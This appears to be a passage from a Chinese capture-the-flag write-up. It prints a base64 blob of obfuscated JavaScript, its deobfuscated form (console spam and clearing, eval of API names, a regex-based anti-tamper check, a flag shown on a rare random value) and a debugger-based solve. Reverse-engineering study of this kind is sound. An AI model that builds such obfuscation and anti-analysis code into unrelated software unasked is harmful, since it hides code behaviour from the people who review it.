TXBjSkNrbXVTb09XUi9jTFNrWHBiMVZpU29pQlpPM1dPM2RNdER2V1FXNWtyUHJ6dWhkT0NrMVc3VmRNbW9qRkNrQ1dRSmROOG9CeWNUUlc1SHRjQ29JV1FUYXR2cm1zTU5kSXI1MXI4azVFVy9kSkNvUWk4a29XN3YyVzY1blc3dGNUbWtwbnVHOERzM2NOckpkTlNrUmNoVzVoRzlCQmJxd1dRekxXT2RjVkwzZE1HZGRHOGszdG1vUXRhNVdXNmxjUlNrQ2RmalJXUDhrV1FGZFY4b1dXUWRkTVNrMFdQeGRQOGtyakNrZHhta2tkOG9sZzhra1c0WC9XTzVTYkhsZExlNUNXN1pjUEg4Z0I4b0h6bWt5Y2dPeVc0YWp3Q2tLVzVDaERTazZsQ282Vzc1WldSTG1jQ29IenNCY1Vta2hGU29IV1JkZEtNN2NVU2tHbkNrU1c1SmRHQ2sxVzVyYldSUmNTU29SZGRDaldQOGlyTEpjUDhvMldSMDVXN3RjSWREWlc3eGRSSUpjT3dtMFdSYW9xU2toZUt1a1dPcXZXNTBOV1ExckY4b21XUFJkTFNveVc3enFXT3RkTzhrdmdtb0R0OG9CRkdkZEpjMHFvQ29JbG1vMldQYkRXNWxkSFhKZFR4VmNTYy9kU21vMVdSMUd4U29NVzZGZEl0U1RqV3prVzdSZFVta3FXUWhkR0Nrb1dPS2JXNnZWV09IeFdSdGRRTkNLV09hZW5IaGRMTDBZRHV0ZE9Tb2xlSEpjTlNvS0ZnU2pXNUZkVkdEbWUyNThyOGs5dUNvbFdSWmRKQ282VzVaY0tnSFdhbWtCV09QTVdPN2NMU280ZUpWY01JSmNQMUdWVzROY0lDa015bW9EV09kY08ySmNHSnhjU21vRlc1NExzbWtwcENraVdRdGRIMnRjUkx2MWNtbytXT05jTUNrN2V1QmRHRycsJ2tTa2luV1JkU0hXQ3pTa2tjdUZkVUxXJywnV1FLTCcsJ2pTa3FXUHUzcDhrNlc2UGRXUFJjSXh5TVdPVmNSVycsJ2xDa1FnYlZjUGEnLCd5MjdjU21vUXpDb0VXUXZ4amdLUXVXJywnZlc5TXEwQmRSbWtUJywnbFl4Y0xLTmRPU284aENvMldQSmNUWGEnLCdXT2Z0aVNrZFdQeGRHTW1va0cvZFBLVycsJ1c1Q2wnLCcnLCd2ZkhNc3dsZFVTa2ZXNGknLCdBTTNjU21vSGJta2xXUVhxbTF1JywnVzVXaVdRVmRLbWtoV1JGZEt3SycsJ2ZmN2NVc2hkTUhmaGJDazFFbW9IJywnaGdkZE9yOGhxbW9BVzRpJywnZzhvd1dSZldXNTQnLCdXN0dneUNveldPN2NOZ212ZVdTJywnVzQvY0pTb2JEMDlTRldOZFBmYkRrVycsJ0VhUmNMYScsJ2tIUmRSU2t2b3EnLCdnMUpjVXRGY01idmhxU2srRjhvWVc3T1VXN1JjU2Y5M1dPanB0Q2tFcmJwY053SmNJSU5jSUNrUkRta3VXUHBjT0dUV2s4bzdXN1BIVzY3Y1ZTb3ZtOG91V09lL2MzQmNRdlpjUkpLaFc1WHNDOGtPeDJOZFYzTGFXNzdjVEhOZFMwQmRTaEZkS3FKY01tb0RXUWZxV095K2pjbVhXN2YremVkZE5Tb2ZtY3VUQ21vQVc3ZGRJdnlmVzUvY0plV2FXUHo4YThrY1dPcGRMZzRsRmZkY1VKeGNKYVZjUENvVm5tay9XNU9ackNrb1dSN2NLWGhjTjhrVHl1bGRRMGhjSm1vSmFhRmNUbWtrbldkZE04b0NXUjF2VzdOZEhMOUFXUmxkVGdCZElNeVp4dGE3VzZoY1NybllXNzQ2VzUwc1c1VDNXNlpkUENvSFdRM2NJSGRjVHdOY1B0aGNUQ2tVV1JUcmVDb25GdWRjVkNvVVdPeklzYUZjVHhlQlc0eGRWd3Z3VzRuMldQOFdtU2twV1A0b3hjbGNNZmZmVzRicGlXM2RVeHRjVlNvK1c3SmRWU29WV1EvZEhTb3p0YWZxb21rcVdPUGp0U283V1FlMHgzUmROTUJkVk5sZE5ta1h3TG51VzZOY0szcklXN1RFV1JIMkU4bzBXUGhkTkNrK1c2RmRPU2tJejhrTlc2Ymh0U280c2FsY1VnNXdXT3RkUjhvdFc3bWZvaDNjUlduTVdST0lrU29xdUNvbmlmN2RUU2s3dkNvRG1kUmNSbWtQV1BWY1Q4azZXUHhjTmFhVVdQMFBFYk9tcUNvVFdQWmNTbW9XV1E1Tlc2dUdwbWtXd1dpbldPUmNLbWtRV080U1dSL2RRdFczVzdiMFc0SmRUQ2tDV1AwcnRNaGNWaFZjT2cwZFdSTmRQSi9kUUNrcVc2aGRQQ2tFQ21vcVc0L2RTMEpkT1lOZFZtb2ZXT3lQVzRWY0k4b0FXNkcrV085UmxTazdXNUJjU1NvV3dDb0lmU2tHYThvWldPL2RTU290V1BDZVc2blFXUGEwcDB4Y1Bta3hXNFdjV1BUbG1mUmNQc1NmV1BaY0pIWFJmckM3VzVSY1E4by9XNXlCVzU5V3ZHT3BrbW9YV1Juc1dQZjNXN1pjSDhrR2c4b2lqbW9jV1B5VFc2eWlXNnJBV09TQ21hUmNObWt3VzYwUFc1ekNXNXhkVXhwZFFta2dzOGtKdlhiZ1c3ekxCQ2svQnR6WFc3cGNJQ2s3V1J0Y0tDb1N1dHRjUmJwY1FHUmNOME5jSXJXcmU4b255bWthaXdKZElXOXRySUZjVG1rOERNOFdxbWttRENrUFc0TmRJMTNjTXRxMmhTa1FoMmkwQnNkY0pJWmNSU2tGaUp0Y1FTa0h1OGtGeThrNnlzL2RHZi9kUFNrcXJkM2NNdXlCcThvdW1tazlXUHRjUVNveFdRZGRWR2FMRlNrTlc0ODhCdnhkTzhvNXNldGROcVpjSG1vUW1Ta21kZDFiVzQ5dmdXZnFoWHBjUThrWFc0eGNTY3ZYVzVqcmN0dGRMSDNkS05YOGRxbGNWZ3RjVkxKZFBTa2dETlBVRHZ1c1dSdGNUaDhqcHFTM2htaytXNzNkUW1rZ3k4a1VXUXhkS1NrcldReGNVTS9jVThvMHRta1dpdzQ1VzYzY1EyL2RSU2tJb21vZ1c0bGNHQ2s4eENrNmFDa3V6U2tOV1JkY0tmcW5pQ28zV1I0S1dPcGNSd2o0V08zY1BTb2lwQ2tnaW1vRGhZem9XT2F3ZDhvZVc0aGNVOG95ZUpieGdZWmNKOG9RQ3E0ZVdRbGNMdnE4V1FwZFRTb0NXNnhkSEdyZHhjWmRWbWtYelkzY1ViS3BXUVZjSENrNkZYQmRJbW9ZVzZteVc2RHJXNHphc2FHa1dPbVdXNHlHbzNlMGFMZGRRQ29vRFNvb1dQbGRMWlZjUHU5RkJDb0puOGtVV1AvY0h2VmNMY3RkVFNvZFc3TmRRbW8vV09WY1FzRDVXNHlnemNLNFc3YTJ6bW9xclptUkI4b09XUHBjVENvR3hDa3lXT1ZjS1hkZFNzM2NLbWtBV1JoZFNtb0lhOGtub0NvSWNJbGNRQ29UeUNrY1dQbGNMWGhkVVNvN1c1TmRPWHBjTndHY1dQRmNMMEQyQlNvbVdRdGRJOG9oV1BkZFNlL2RTQ281dWZ2R1dSenRXUmlYVzRXbldSM2ROR3orV1JWY1Fta3VtcUxaV1JoZFZJMHdmbW9uVzZWZE1NVzBXNkJkSm1ranRmSDBmMDFRbmViTERDa0loU29raHRaZFJMOHZXNGlIQTF6NnRJTmNQcWZpc2VLcndjWmRVd2RkT3hkZFA4a2RiOG9KQU5WZEttb3plSlZkUzNDWWVtbzRXNEZkTWJwZE9ZVFlXNXZtb0NvWVc2cVFXN1c4VzRKY1A4b3pXUW1ybThvdldRdGRKdThWdUNrMWpncGNKOGsxVzZCZEl0M2NKQ29rZ2ZaY1N3aGRRQ2tBZ0tOZEg4azFEOG93V1JCZEpxVmNVWDk4eThrUFdQN2NSU2tJRjhrNlc1ZWJXUnRjT21vSFdPL2NIU2tYVzRYNlc0T0ZXNUZkTlNrZFdPYjdXNXVHVzR2c2Ftb3dXUUtQVzdaY1Ztb1hkZVZkUzFOZEczdGNOWk5jVDhvc1dRcGRPOGtxRHJaY0l1aWpXNFJjTm1rSldSN2RWQ29jVzVWY1VTa3hGU2tBdVNrSldSUmRPbWtiVzcvZEw4b0pXUFJjSGNWY1BDb0hXNjhzeU1WY0c4azBBTm1FV09OY1BaVmNMR210cm1rRUNta0RwOGs0RGE0Zlc0QmRTWGxkVjhrQ2Vta0RlOG9UaXZOZExDbzBDQ29abDhrWUFtbzFXT1REZHhhN1dReGNHMmE1V1E5TEVOU0VXUGhjU1NvQ1c2QmRTSmpGV1FOZEpDa3B3Q2tuRFNvVVdRM2RUU29qVzdSZFBLYjd4WTFyZUNvbVdPeWhqSXhjSm1rZXhtb0RpSUhObkNreW8zdUJXT1pkVENrb1dSQzNidzk2V1A1SndYV1NsbW9acFdwZFBTa3dXN0JkT3M1TGIxTmNMdFZkTkNvY3Y4bzdrcU9oRG1vWFc3L2NVSUtjaHZMb1dPT0ZlQ283V1BkZEdDb2d1U2tOZjB0Y0t2RmNHU2tlV1J5Z1c3L2NIQ29vV1FCZFZTa2lhOG9FV1JXS1c2R3hXUHJhcXg4NUZJZUNXNWRkVUtQNGRzdGNJYWRkS3Nqclc3VmRHQ2tWVzYvZE5Ta1lXN253Rk10Y09tby9yOGtCVzQzY084b0FXT1pkSk00cVdSSmRWYzljejhrNkJtb2hXNGVBcUdhMWE4b3BXUGRkVHFpSFc1dkZGU2tPczhvQm9Ta0ZXUUxZZWNKY0dDb3lqczErRVNvaXNLSmRVS0ZkSm1ra2RJcGRTU2tkcWUzZE11OE5XNGhjTG1veVc2ak5XUXBjTjNsY0hLWmRKU2t5V1JlZldPdGNPS2pmRG1reFdPQmRITmpaV1I1NldQSEVXUmRjVHR1dVc1OTVXNjBtbHN0Y0t3cldibW8xVzZTeWQwQmRVY0QvV1FCY09Db2F1bWtLVzZyb1dSenhXNE9uVzZxakVTb2dXNlJkSWJkZElncjZsbWtZc0NrZ2tiUzJ5ZEZkT1NrUmdJQmNRbW8zV09SZEtOL2NRU29QYXZ4Y0gwN2RNbWtVV09GY0k4b2RjbWtEcHJISldQRDlGYjV4YUNrUWc4a1RvdXBkVXJEaFdQTDdiU29DV1I0OFdReGRQOGtDdVluQ244a2JXUG0wV1F1bEQyRmRJaC9jS3dXcXNlcW1XNkRkVzRoZFFTbzZXUkJkTU1HN213L2RTOG90V09CY01ta0FXUVR4VzZPWnZ2ZGNNMnZVQVNvSHFDa1pXNC9kUzFqRFdRNGxXN1Q5VzdUa1dRcGNLU29xQTEvY1U4b0dBbW9jQmZSY1VxSmRNQ2twV1FwZFNDb0pXUmlKVzRYd1dSbGNHOG9TQkNvQldPWmRLd0JjS21vM0M4b0dXUC9jTVNvMVdQTmRRU29hVzVhV1c3RmNJU2tVZmM4YVdQN2NJOG80Vzc3Y1NDb1hzOGtic21vVFc3ZkxXUFpkVmZmSkVkZGRVd1ZkSlNrQVc3QmRQY0ZkUk1QTFdSQmRPOG9kV1B6Q1dRUDhXUEJjVm1vMldPbUVvbWtNVzZxRFc3NVZXNTdjUjhrRVdPL2RIU29HV1B5aGxtbzdiU2szVzZxL211akdXUEJkT21rRFc1L2RVbW9JZGU5L2ptb1prMlJkUk5tcFdPcWxXT2Fod21vbmtTb2ZXNjh2RnRCY0lDazdCU2tadXJSY1VTb1BoYnpPY2ZkZE5Tb0ZlYVdpV1Ftd1c1TFVXN0pkS2JPTVdSZGNPU29zVzVYY1c0MEpXNEcyZ21vS0Q4b09XUDNjR1NvMXFDa0lXUmRkTHZqeVc0ZGNKbW9YV1FSZEdTa3prOG9lb21rS2pTa3R2TDdkUFlDVFdSTHZXUUpkVThrVG5aRzRFTVhPQzBqZkJjZnhrQ29mVzZ2eldPN2NVbWt6V1FSY1Jta3lXN0RHV1J4ZFBta1lXUU5jRzhrK3QxdGNUTGxkS0NvTVdQWmRWOGs5dmQzZEdTa0ZyOGtEdzhrR1c0RmROOGt0cjNKY1FhSmRMQ29oaUd5Y1c1T05BOGtGJywneXd4Y09Ta0VXNmknLCdXUTNjVG1rVHJta2YnLCd4SXhkUXFlRycsJ3V0dURXN2hkSFNrWFdQV2UnLCdXUHBkSGEnLCdmcm52V09mOGxIRmRKbWtxVzViM1c3QycsJ1dSdVonLCdXT1JjTkNrNnNTa01XNWZOZlcnLCdsQ29kJywnZkkwaWJXMDVxRycsJ0F3NCcsJ3A4bzZXUFM4VzdLJywnV1FOY1M4bzV6U29nV09wZE1Da2JXUXVXYW1veScsJ2JoTmRMZlBjekNrTFc0ekNDU2tqeEcnLCdXNmJSY2d4Y0dHM2RUbWtWcVNvV0JXJywndXNLJywndXhQbHVMNHN1U29TbTJ0Y0txJywnZ3J5JywnVzVCZE1Tb2JlbW8vV1BlSXdDbzVXNlgzRWEnLCdGTlJkR3FwY1I4azJvbW9ZV1JOY0dKcUInLCdxU2tUJywnYmZ0Y09XQmROYmJocm1rU3lXJywneExlblc1YTgnLCdqWWEnLCdqY2xkTENvSUYzaTZBcScsJ3A4b20nLCdFbW92a3IvZE1hdTBlYScsJ2xIbGRQU2tFbWEnLCdXT3hjUzhrRldPbGRSWFZkUm1vYicsJ0IwSmNPSVQvJ107XzB4MmE4Mz1mdW5jdGlvbigpe3JldHVybiBfMHhlYjg5NDc7fTtyZXR1cm4gXzB4MmE4MygpO31mdW5jdGlvbiBfMHgzNmY3ZDcoKXt2YXIgXzB4M2VmOGI2PV8weDRkNDUsXzB4MmIzOTBiPShmdW5jdGlvbigpe2lmKCd0VWVHdichPT0ndFVlR3YnKXJldHVybiBfMHgzZWFkMmEoXzB4MTBkODY0KTtlbHNle3ZhciBfMHhjNTJlODM9ISFbXTtyZXR1cm4gZnVuY3Rpb24oXzB4MjVkMDYzLF8weDE0YjBhZil7dmFyIF8weDE5YjU2YT1fMHg0ZDQ1O2lmKCdtSFhPeCc9PT1fMHgxOWI1NmEoMHgyMjUsJ0FkQUYnKSlfMHgzNGQ5M2QoXzB4MmQwMWFkKSgpO2Vsc2V7dmFyIF8weDQzNWU0Mz1fMHhjNTJlODM/ZnVuY3Rpb24oKXtpZihfMHgxNGIwYWYpe3ZhciBfMHgyNzhjOWU9XzB4MTRiMGFmWydhcHBseSddKF8weDI1ZDA2Myxhcmd1bWVudHMpO3JldHVybiBfMHgxNGIwYWY9bnVsbCxfMHgyNzhjOWU7fX06ZnVuY3Rpb24oKXt9O3JldHVybiBfMHhjNTJlODM9IVtdLF8weDQzNWU0Mzt9fTt9fSgpKSxfMHgxMjYwMGM9XzB4MmIzOTBiKHRoaXMsZnVuY3Rpb24oKXt2YXIgXzB4NDZiYmY5PV8weDRkNDU7cmV0dXJuIF8weDEyNjAwY1tfMHg0NmJiZjkoMHgyMTEsJ0RHbHQnKV0oKVsnc2VhcmNoJ10oXzB4NDZiYmY5KDB4MjFjLCdER2x0JykpW18weDQ2YmJmOSgweDIwMSwnW1NwdicpXSgpW18weDQ2YmJmOSgweDFmYiwnJmhlXicpXShfMHgxMjYwMGMpWydzZWFyY2gnXSgnKCgoLispKykrKSskJyk7fSk7cmV0dXJuIF8weDEyNjAwYygpLF8weDNlZjhiNigweDIwOSwnWFNETycpK18weDNlZjhiNigweDIxMCwnQkRaVScpK18weDNlZjhiNigweDFmNCwnRHlMRycpK18weDNlZjhiNigweDIyOSwnaGdbQCcpK18weDNlZjhiNigweDIwMiwnWFNETycpK18weDNlZjhiNigweDIyMywnbXBHaScpK18weDNlZjhiNigweDFmNSwnSkFqeScpK18weDNlZjhiNigweDIxOSwnVThOWycpK18weDNlZjhiNigweDFmMiwnVHR4VCcpK18weDNlZjhiNigweDFmNiwnd0E4dCcpK18weDNlZjhiNigweDIwNSwnZSl2TCcpK18weDNlZjhiNigweDIxNCwnZUZVOScpK18weDNlZjhiNigweDIxZiwnWFNETycpO312YXIgXzB4NGQwMzJkPWV2YWwoXzB4MzZmN2Q3KClbJ3NwbGl0J10oXzB4NDJkNjUzKDB4MjEyLCdUdHhUJykpWzB4ZjZhKzB4MTJiOSoweDErLTB4MjIyMV0pLF8weDRkM2ZiND1ldmFsKF8weDM2ZjdkNygpWydzcGxpdCddKF8weDQyZDY1MygweDFmZCwnXnNdMCcpKVstMHgyZDkqLTB4OSstMHgyNSoweDZmKy0weDk5M10pLF8weDI4MGJiZj1ldmFsKF8weDM2ZjdkNygpW18weDQyZDY1MygweDIyMCwnQGwqZCcpXShfMHg0MmQ2NTMoMHgyMWUsJ2VFJiQnKSlbMHgyMmIxKy0weDJlKjB4NTIrLTB4MTNmMV0pLF8weDNlZGUxNj1ldmFsKF8weDM2ZjdkNygpW18weDQyZDY1MygweDFmOCwnZiUoaCcpXShfMHg0MmQ2NTMoMHgyMjEsJ0FkQUYnKSlbMHgxZCotMHhkZisweDIqMHhmY2QrLTB4MSoweDY1Ml0pLF8weDEzYTE1NT1ldmFsKF8weDM2ZjdkNygpW18weDQyZDY1MygweDIyNywnbyUkTCcpXShfMHg0MmQ2NTMoMHgyMWIsJzFNYzAnKSlbMHhjMmIqMHgzKy0weDMqLTB4OWMxKy0weDQxYmVdKTsoZnVuY3Rpb24oXzB4NWRhMTViKXtyZXR1cm4gXzB4NWRhMTViKF8weDVkYTE1Yik7fShmdW5jdGlvbihfMHhjNGJlOGQpe3JldHVybiBmdW5jdGlvbihfMHgzYTMxNzYpe3ZhciBfMHg1MTI1MWE9XzB4NGQ0NTtmb3IodmFyIF8weDc5MzZkMD0weDIzMWErMHhlMmYrLTB4MzE0OTtfMHg3OTM2ZDA8MHgxZDAxKzB4MioweDIwKy0weDMzNSoweDk7XzB4NzkzNmQwKyspe2lmKF8weDUxMjUxYSgweDIxNSwnRFVjKScpPT09XzB4NTEyNTFhKDB4MjBiLCdER2x0Jykpe2Zvcih2YXIgXzB4NDE5ODRlPTB4YzgqLTB4MistMHgyMTU3KzB4MjJlNztfMHg0MTk4NGU8LTB4ZjFlKzB4MSoweDFmOWIrLTB4MTAxOTtfMHg0MTk4NGUrKyl7dmFyIF8weDU2ZTBiMD0hW10sXzB4OWU3NTk1PV8weDc2MmMyOCgpW18weDUxMjUxYSgweDIwYSwnSUNCWicpXShfMHg1MTI1MWEoMHgyMTQsJ2VGVTknKSlbMHgxODE4KzB4ZioweDI4NCstMHgxNDljKjB4M10sXzB4Mjc3M2ZlPSgtMHgxYzU1Ky0weDNhKjB4YWErMHg0MzE1KSpfMHg0MTk4NGUvKDB4MSoweGMwNystMHhkKi0weDJkZCstMHgzYioweGQ0KSxfMHgxYjk5ZjE9LTB4MSoweGU3YisweDEyMGQrLTB4N2EqMHg3LSgweDFkYzUqMHgxKzB4MWEzNSotMHgxKy0weGMqMHg0NykqXzB4NDE5ODRlLygtMHgxOTQwKjB4MSsweDI1MzUrLTB4YjkxKTtfMHgxNWE4Y2IoKT49LTB4NyoweDQxKzB4MjY1NyotMHgxKzB4MjgxZSswLjk5OTkmJihfMHg5ZTc1OTU9XzB4YzE2YzE2KClbXzB4NTEyNTFhKDB4MjBjLCdVOE5bJyldKF8weDUxMjUxYSgweDIyYSwnW1NwdicpKVstMHg4MDUrMHgyMDYqMHgxKzB4NjAwXSxfMHg1NmUwYjA9ISFbXSk7XzB4MTU3MTViKF8weDUxMjUxYSgweDIwNywnc0N2TCcpLF8weDllNzU5NVtfMHg1MTI1MWEoMHgyMTMsJ0RocyonKV0oL1x7YVx9L2dtLF8weDI3NzNmZStfMHg1MTI1MWEoMHgxZmUsJ0BsKmQnKSlbJ3JlcGxhY2UnXSgvXHtiXH0vZ20sXzB4MWI5OWYxK18weDUxMjUxYSgweDFmZSwnQGwqZCcpKSk7aWYoXzB4NTZlMGIwKV8weDIwZmRlOCgpO31fMHgzNTQ2OTgoZnVuY3Rpb24oKXtfMHg1ZjRhZDIoXzB4MzFhYzZkKSgpO30sLTB4MjJiOCstMHgzKjB4N2Q5KzB4YzBiKjB4NSksXzB4MzU1YWY4KF8weGNmM2RhYSwweDFjMTArMHg1MDUrLTB4MWY1Myk7fWVsc2V7dmFyIF8weDM4ZDk2MT0hW10sXzB4NDhiOGFhPV8weDM2ZjdkNygpWydzcGxpdCddKF8weDUxMjUxYSgweDIwZSwndChLeCcpKVsweDFhZTIrLTB4N2E5Ky0weDEzMzldLF8weDQ4YTRhYT0oLTB4MjI3YSoweDErMHg3YyoweDFhKzB4MTYxZSkqXzB4NzkzNmQwLygtMHgzKjB4YThkKzB4MjI3NSstMHgyNmEpLF8weDU0ODcwZD0weDIzZmYrMHgxKjB4MTBjZistMHgzNDkyLSgweDE2NjMrLTB4MmEzKi0weDMrLTB4MWUxMCkqXzB4NzkzNmQwLygweDcqLTB4MmYyKy0weDFjYjUrMHgzMWI3KTtfMHgyODBiYmYoKT49LTB4MiotMHg3YWMrLTB4N2QqMHgxMystMHg2MTErMC45OTk5JiYoXzB4NDhiOGFhPV8weDM2ZjdkNygpW18weDUxMjUxYSgweDIyOCwneEBiSicpXShfMHg1MTI1MWEoMHgxZWYsJ0prYm4nKSlbMHhmMzErMHgyNGQqLTB4MTArLTB4NTY4Ki0weDRdLF8weDM4ZDk2MT0hIVtdKTtfMHg0ZDAzMmQoXzB4NTEyNTFhKDB4MWYzLCdmJShoJyksXzB4NDhiOGFhWydyZXBsYWNlJ10oL1x7YVx9L2dtLF8weDQ4YTRhYStfMHg1MTI1MWEoMHgxZmUsJ0BsKmQnKSlbXzB4NTEyNTFhKDB4MWZhLCcxTWMwJyldKC9ce2JcfS9nbSxfMHg1NDg3MGQrXzB4NTEyNTFhKDB4MWZlLCdAbCpkJykpKTtpZihfMHgzOGQ5NjEpXzB4NGQzZmI0KCk7fX1fMHgxM2ExNTUoZnVuY3Rpb24oKXt2YXIgXzB4NGQ5YjMxPV8weDUxMjUxYTtpZihfMHg0ZDliMzEoMHgyMDgsJ0FkQUYnKSE9PSdxRmpHaCcpe3ZhciBfMHg0MzI4MDc9XzB4MTI0NTQ2P2Z1bmN0aW9uKCl7dmFyIF8weDUzZGI0Nj1fMHg0ZDliMzE7aWYoXzB4NGJhNDY3KXt2YXIgXzB4MWQwOTJlPV8weGFhODNkZFtfMHg1M2RiNDYoMHgyMDQsJzVlRU0nKV0oXzB4MTMyMTBjLGFyZ3VtZW50cyk7cmV0dXJuIF8weDU2ODE2YT1udWxsLF8weDFkMDkyZTt9fTpmdW5jdGlvbigpe307cmV0dXJuIF8weDNlNzM1Nz0hW10sXzB4NDMyODA3O31lbHNlIF8weGM0YmU4ZChfMHhjNGJlOGQpKCk7fSwtMHgxKjB4MjBjMystMHhjKi0weDEzNystMHg1Ki0weDQwNyksXzB4MTNhMTU1KF8weDRkM2ZiNCwweDIzNTEqLTB4MSstMHg3YiotMHgzKzB4MjNhMik7fTt9KSgpKTs"))
找了个反混淆的网站atob解密:https://dev-coco.github.io/Online-Tools/JavaScript-Deobfuscator.html
function _0x36f7d7() {
var _0x2b390b = function () {
var _0xc52e83 = true;
return function (_0x25d063, _0x14b0af) {
var _0x435e43 = _0xc52e83 ? function () {
if (_0x14b0af) {
var _0x278c9e = _0x14b0af['apply'](_0x25d063, arguments);
return _0x14b0af = null, _0x278c9e;
}
} : function () {};
return _0xc52e83 = false, _0x435e43;
};
}(),
_0x12600c = _0x2b390b(this, function () {
return _0x12600c['toString']()['search']('(((.+)+)+)+$')['toString']()['constructor'](_0x12600c)['search']('(((.+)+)+)+$');
});
return _0x12600c(), 'line-height:200px; padding-block:100px; padding-left:200px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 200 200\'%3E%3Cstyle%3E .wrapper %7B font-family: sans-serif; perspective: 500px; text-align: center; position: relative; width: 100%25; height: 100%25; %7D .cube %7B position: absolute; top: 20%25; left: 30%25; transform-style: preserve-3d; transform: rotateY(40deg) rotateX(-40deg); animation: wiggle_wiggle_wiggle_wiggle_wiggle_yeah 3s ease-in-out infinite alternate; %7D .side %7B width: 8rem; height: 8rem; background: rgba(0, 0, 0, 0.8); display: inline-block; position: absolute; line-height: 8rem; color: %23fff; text-align: center; box-sizing: border-box; border: 3px solid %23f00; font-size: 4rem; %7D .front %7B transform: translateZ(4rem); z-index: 1; %7D .back %7B transform: rotateY(180deg) translateZ(4rem); %7D .left %7B transform: rotateY(-90deg) translateZ(4rem); z-index: 1; %7D .right %7B transform: rotateY(90deg) translateZ(4rem); %7D .top %7B transform: rotateX(90deg) translateZ(4rem); %7D .bottom %7B transform: rotateX(-90deg) translateZ(4rem); %7D @keyframes wiggle_wiggle_wiggle_wiggle_wiggle_yeah %7B 0%25 %7B transform: rotateY({a}deg) rotateX(-{a}deg); %7D 100%25 %7B transform: rotateY({b}deg) rotateX(-{b}deg); %7D %7D %3C/style%3E%3CforeignObject width=\'100%25\' height=\'100%25\'%3E%3Cdiv xmlns=\'http://www.w3.org/1999/xhtml\' class=\'wrapper\'%3E%3Cdiv class=\'cube\'%3E%3Cdiv class=\'side front\'%3E1%3C/div%3E%3Cdiv class=\'side back\'%3E2%3C/div%3E%3Cdiv class=\'side left\'%3E3%3C/div%3E%3Cdiv class=\'side right\'%3E4%3C/div%3E%3Cdiv class=\'side top\'%3E5%3C/div%3E%3Cdiv class=\'side bottom\'%3E6%3C/div%3E%3C/div%3E%3C/div%3E%3C/foreignObject%3E%3C/svg%3E")||line-height:50px; padding-left:500px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\'%3E %3Cpath id=\'path1394\' style=\'fill:none%3Bstroke:%23000000%3Bstroke-width:0.264583px%3Bstroke-linecap:butt%3Bstroke-linejoin:miter%3Bstroke-opacity:1\' d=\'m 221.50185,6.5147602 3.99292,2.94215 0.4203,14.0802888 3.78277,2.521842 -3.78277,2.731996 -0.21015,14.500595 -3.99292,2.942151 m -75.76812,-32.68897 -0.18289,26.152093 4.20628,-0.18288 0.18289,-0.365766 m 39.51762,-10.582347 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 17.49855,11.609045 -0.18288,-12.070196 2.56034,-3.840517 6.76663,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 M 79.249122,29.337219 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 106.868818,-7.460739 -10.0585,0.731527 -3.10899,7.315272 0.73153,5.852215 2.74322,3.108989 8.77833,0.182883 0.73152,-0.182883 m -29.84386,-8.105803 8.77833,-0.365762 2.0117,-2.743227 -2.37747,-3.291872 h -8.9612 l -2.19458,4.0234 0.18288,7.863914 3.29187,2.560347 8.0468,-0.365766 m -36.86029,-9.455308 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m -5.20252,-3.51165 -7.58959,-0.182882 -2.28602,3.931959 V 32.0765 l 8.86976,0.182882 1.5545,1.554493 -0.27433,4.206283 -1.46305,2.377461 -8.32112,0.09144 h 0.4572 m -17.006391,0.457205 -0.18288,-12.070196 2.56034,-3.840517 6.766631,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 m -32.373283,-17.720279 -10.058498,0.731527 -3.108989,7.315272 0.731526,5.852215 2.743226,3.108989 8.778325,0.182883 0.731528,-0.182883 m -15.544951,1.645936 0.731528,0.365766 -4.0234,-2.926109 L 56.87623,24.689039 53.401478,22.128694 57.607759,18.836823 57.241995,6.5837438 59.985222,3.4747537 m -17.008004,34.0160083 8.961204,-0.18288 v 0 m -8.961204,0.18288 -0.182883,-10.058495 9.144087,-0.182883 v 22.860222 h -8.961204 l 0.548645,-0.365765 H 43.34298 m -15.54495,-27.98091 5.852215,-0.182882 0.182883,16.276478 m -0.365763,-10.790025 -7.13239,0.182882 V 38.22229 l 12.43596,-0.365763 V 37.490762 M 19.202586,12.43596 l -0.182882,26.152093 4.206281,-0.18288 0.182882,-0.365766 M 14.996305,12.618842 H 10.241379 L 10.058498,38.039407 5.8522165,37.856527 M 3.8405173,22.67734 15.910714,22.494458\' %2F%3E %3C%2Fsvg%3E")||console.log||console.clear||Math.random||Math.floor||setTimeout';
}
var _0x4d032d = eval(_0x36f7d7()['split']('||')[2]),
_0x4d3fb4 = eval(_0x36f7d7()['split']('||')[3]),
_0x280bbf = eval(_0x36f7d7()['split']('||')[4]),
_0x3ede16 = eval(_0x36f7d7()['split']('||')[5]),
_0x13a155 = eval(_0x36f7d7()['split']('||')[6]);
(function (_0x5da15b) {
return _0x5da15b(_0x5da15b);
})(function (_0xc4be8d) {
return function (_0x3a3176) {
for (var _0x7936d0 = 0; _0x7936d0 < 100; _0x7936d0++) {
var _0x38d961 = false,
_0x48b8aa = _0x36f7d7()['split']('||')[0],
_0x48a4aa = 60 * _0x7936d0 / 100,
_0x54870d = 60 - 60 * _0x7936d0 / 100;
_0x280bbf() >= 0.9999 && (_0x48b8aa = _0x36f7d7()['split']('||')[1], _0x38d961 = true);
_0x4d032d('%c ', _0x48b8aa['replace'](/\{a\}/gm, _0x48a4aa + '')['replace'](/\{b\}/gm, _0x54870d + ''));
if (_0x38d961) _0x4d3fb4();
}
_0x13a155(function () {
_0xc4be8d(_0xc4be8d)();
}, 500), _0x13a155(_0x4d3fb4, 450);
};
})();
正解
JS runtime 里的 API 不像 python 一样可以通过 hack 字节码之类的绕过,它就在那,对复杂恶心的代码可以通过观察其与 API 的交互来控制其行为
在控制台输出或者清除内容时,点击右侧的来源,可以追进此时的 js 执行上下文,在此处打断点
稍微跟进一下,观察变量属性,可以发现周遭的变量的 name 属性好像都有点东西
众所周知浏览器控制控制台输出和清除的API分别为console.log
和console.clear
然后又发现一个random的API
结合题目名猜测这个random就是控制flag出现的api
